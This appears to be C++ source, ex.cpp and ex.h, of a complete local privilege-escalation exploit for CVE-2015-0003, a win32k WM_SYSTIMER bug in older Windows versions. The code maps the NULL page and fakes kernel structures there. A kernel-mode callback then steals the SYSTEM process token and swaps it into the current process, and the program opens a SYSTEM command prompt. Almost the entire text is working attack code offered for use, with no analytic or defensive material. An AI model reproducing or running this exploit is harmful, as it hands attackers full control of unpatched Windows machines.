352 lines
No EOL
8.1 KiB
Text
352 lines
No EOL
8.1 KiB
Text
// ex.cpp
|
|
/*
|
|
Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP
|
|
CVE-2015-0003
|
|
March 2015 (Public Release: May 24, 2015)
|
|
|
|
Tested on:
|
|
x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3
|
|
x64: Win 2k8 SP1 | Win 2k8 R2 SP1
|
|
|
|
Author: Skylake - skylake <at> mail <dot> com
|
|
*/
|
|
|
|
#include "ex.h"
|
|
|
|
_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;
|
|
_PsLookupProcessByProcessId PsLookupProcessByProcessId;
|
|
_PsReferencePrimaryToken PsReferencePrimaryToken;
|
|
DWORD Pid;
|
|
ATOM atom;
|
|
BOOL KrnlMode, bSpawned;
|
|
|
|
DWORD_PTR WINAPI pti()
|
|
{
|
|
#ifdef _M_X64
|
|
LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );
|
|
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );
|
|
#else
|
|
LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );
|
|
return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );
|
|
#endif
|
|
}
|
|
|
|
BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )
|
|
{
|
|
DWORD_PTR dwIndex, dwMask;
|
|
|
|
#ifdef _M_X64
|
|
dwMask = ~0xf;
|
|
#else
|
|
dwMask = ~7;
|
|
#endif
|
|
//
|
|
dwCurrentValue &= dwMask;
|
|
|
|
for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )
|
|
{
|
|
if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )
|
|
{
|
|
//
|
|
pdwStructure[dwIndex] = dwNewValue;
|
|
return TRUE;
|
|
}
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL WINAPI Init()
|
|
{
|
|
HMODULE hMod = NULL;
|
|
PVOID Base = NULL;
|
|
OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };
|
|
PSYSTEM_MODULE_INFORMATION pm = NULL;
|
|
BOOL RetVal = FALSE;
|
|
|
|
__try {
|
|
|
|
if( !GetVersionEx( &ov ) ) __leave;
|
|
|
|
if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )
|
|
{
|
|
atom = 0xc039;
|
|
}
|
|
|
|
else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )
|
|
{
|
|
atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;
|
|
}
|
|
|
|
if( !atom ) __leave;
|
|
|
|
_ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );
|
|
if( !ZwQuerySystemInformation ) __leave;
|
|
|
|
ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );
|
|
if( !ZwAllocateVirtualMemory ) __leave;
|
|
|
|
ULONG len;
|
|
LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );
|
|
if( !status ) __leave;
|
|
|
|
pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );
|
|
if( !pm ) __leave;
|
|
status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );
|
|
if( status ) __leave;
|
|
|
|
CHAR szKrnl[MAX_PATH] = { 0 }, *t;
|
|
|
|
for( ULONG i = 0; i < pm->Count; ++i )
|
|
{
|
|
if( strstr( pm->Module[i].ImageName, "exe" ) )
|
|
{
|
|
t = strstr( pm->Module[i].ImageName, "nt" );
|
|
if( t )
|
|
{
|
|
strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );
|
|
Base = pm->Module[i].Base;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
hMod = LoadLibraryA( szKrnl );
|
|
|
|
if( !hMod || !Base ) __leave;
|
|
|
|
PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );
|
|
if( !PsLookupProcessByProcessId ) __leave;
|
|
|
|
PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );
|
|
|
|
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );
|
|
|
|
if( !PsReferencePrimaryToken ) __leave;
|
|
|
|
PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );
|
|
Pid = GetCurrentProcessId();
|
|
RetVal = TRUE;
|
|
}
|
|
|
|
__finally {
|
|
if( pm ) LocalFree( pm );
|
|
if( hMod ) FreeLibrary( hMod );
|
|
}
|
|
|
|
return RetVal;
|
|
}
|
|
|
|
LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )
|
|
{
|
|
LPVOID pCurProcess = NULL;
|
|
LPVOID pSystemInfo = NULL;
|
|
PACCESS_TOKEN systemToken;
|
|
PACCESS_TOKEN targetToken;
|
|
|
|
PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );
|
|
PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );
|
|
|
|
targetToken = PsReferencePrimaryToken( pCurProcess );
|
|
systemToken = PsReferencePrimaryToken( pSystemInfo );
|
|
|
|
//
|
|
find_and_replace_member( ( PDWORD_PTR ) pCurProcess,
|
|
( DWORD_PTR ) targetToken,
|
|
( DWORD_PTR ) systemToken,
|
|
0x200 );
|
|
KrnlMode = TRUE;
|
|
return 0;
|
|
}
|
|
|
|
VOID WINAPI leave()
|
|
{
|
|
keybd_event( VK_ESCAPE, 0, 0, NULL );
|
|
keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );
|
|
keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );
|
|
}
|
|
|
|
LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )
|
|
{
|
|
if( bSpawned )
|
|
{
|
|
leave();
|
|
ExitProcess( 0 );
|
|
}
|
|
|
|
switch( message )
|
|
{
|
|
case WM_CREATE:
|
|
SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );
|
|
FlashWindow( hWnd, TRUE );
|
|
keybd_event( VK_LWIN, 0, 0, NULL );
|
|
break;
|
|
case WM_CLOSE:
|
|
DestroyWindow( hWnd );
|
|
break;
|
|
case WM_DESTROY:
|
|
PostQuitMessage( 0 );
|
|
break;
|
|
case WM_TIMER:
|
|
KillTimer( hWnd, ID_TIMER );
|
|
leave();
|
|
DestroyWindow( hWnd );
|
|
break;
|
|
default:
|
|
return DefWindowProc( hWnd, message, wParam, lParam );
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,
|
|
_In_opt_ HINSTANCE hPrevInstance,
|
|
_In_ LPTSTR lpCmdLine,
|
|
_In_ int nCmdShow )
|
|
{
|
|
WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };
|
|
HWND hWnd = NULL;
|
|
MSG Msg = { 0 };
|
|
|
|
SIZE_T size = 0x1000;
|
|
LPVOID addr = ( LPVOID ) 1;
|
|
|
|
if( !Init() ) return 1;
|
|
|
|
if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )
|
|
{
|
|
//
|
|
return 1;
|
|
}
|
|
|
|
DWORD_PTR p = pti();
|
|
if( !p ) return 1;
|
|
|
|
#ifdef _M_X64
|
|
*( ( PDWORD_PTR ) 0x10 ) = p;
|
|
*( ( LPBYTE ) 0x2a ) = 4;
|
|
*( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;
|
|
*( ( PDWORD_PTR ) 0xa8 ) = 0x400;
|
|
*( ( LPDWORD ) 0x404 ) = 1;
|
|
*( ( PDWORD_PTR ) 0x408 ) = 0x800;
|
|
*( ( LPWORD ) 0x410 ) = atom;
|
|
*( ( LPBYTE ) 0x412 ) = 1;
|
|
#else
|
|
*( ( LPDWORD ) 0x08 ) = p;
|
|
*( ( LPBYTE ) 0x16 ) = 4;
|
|
*( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;
|
|
*( ( LPDWORD ) 0x6c ) = 0x400;
|
|
*( ( LPDWORD ) 0x404 ) = 1;
|
|
*( ( LPDWORD ) 0x408 ) = 0x800;
|
|
*( ( LPWORD ) 0x40c ) = atom;
|
|
*( ( LPBYTE ) 0x40e ) = 1;
|
|
#endif
|
|
|
|
wc.lpfnWndProc = WndProc;
|
|
wc.hInstance = hInstance;
|
|
wc.lpszClassName = TEXT( "Class" );
|
|
|
|
if( !RegisterClassEx( &wc ) )
|
|
return 1;
|
|
hWnd = CreateWindowEx(
|
|
WS_EX_CLIENTEDGE,
|
|
TEXT( "Class" ),
|
|
TEXT( "Window" ),
|
|
WS_OVERLAPPEDWINDOW,
|
|
CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,
|
|
NULL, NULL, hInstance, NULL );
|
|
if( !hWnd )
|
|
return 1;
|
|
ShowWindow( hWnd, SW_HIDE );
|
|
UpdateWindow( hWnd );
|
|
|
|
while( GetMessage( &Msg, NULL, 0, 0 ) )
|
|
{
|
|
if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010
|
|
{
|
|
if( !KrnlMode )
|
|
{
|
|
Msg.hwnd = ( HWND ) NULL;
|
|
}
|
|
else
|
|
{
|
|
Msg.hwnd = hWnd;
|
|
if( !bSpawned )
|
|
{
|
|
ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );
|
|
bSpawned = TRUE;
|
|
}
|
|
}
|
|
}
|
|
|
|
TranslateMessage( &Msg );
|
|
DispatchMessage( &Msg );
|
|
}
|
|
|
|
return ( int ) Msg.wParam;
|
|
}
|
|
// EOF
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//ex.h
|
|
|
|
#pragma once
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <tchar.h>
|
|
|
|
typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (
|
|
_In_ HANDLE ProcessHandle,
|
|
_Inout_ PVOID *BaseAddress,
|
|
_In_ ULONG_PTR ZeroBits,
|
|
_Inout_ PSIZE_T RegionSize,
|
|
_In_ ULONG AllocationType,
|
|
_In_ ULONG Protect
|
|
);
|
|
|
|
typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (
|
|
_In_ HANDLE ProcessId,
|
|
_Out_ PVOID *Process
|
|
);
|
|
|
|
typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (
|
|
_Inout_ PVOID Process
|
|
);
|
|
|
|
typedef enum _SYSTEM_INFORMATION_CLASS {
|
|
SystemBasicInformation = 0,
|
|
SystemModuleInformation = 11
|
|
} SYSTEM_INFORMATION_CLASS;
|
|
|
|
typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (
|
|
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
|
_Inout_ PVOID SystemInformation,
|
|
_In_ ULONG SystemInformationLength,
|
|
_Out_opt_ PULONG ReturnLength
|
|
);
|
|
|
|
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
|
HANDLE Section;
|
|
PVOID MappedBase;
|
|
PVOID Base;
|
|
ULONG Size;
|
|
ULONG Flags;
|
|
USHORT LoadOrderIndex;
|
|
USHORT InitOrderIndex;
|
|
USHORT LoadCount;
|
|
USHORT PathLength;
|
|
CHAR ImageName[256];
|
|
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
|
|
|
|
typedef struct _SYSTEM_MODULE_INFORMATION {
|
|
ULONG Count;
|
|
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
|
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
|
|
|
#define ID_TIMER 0x1
|
|
#define WM_SYSTIMER 0x118
|
|
// EOF |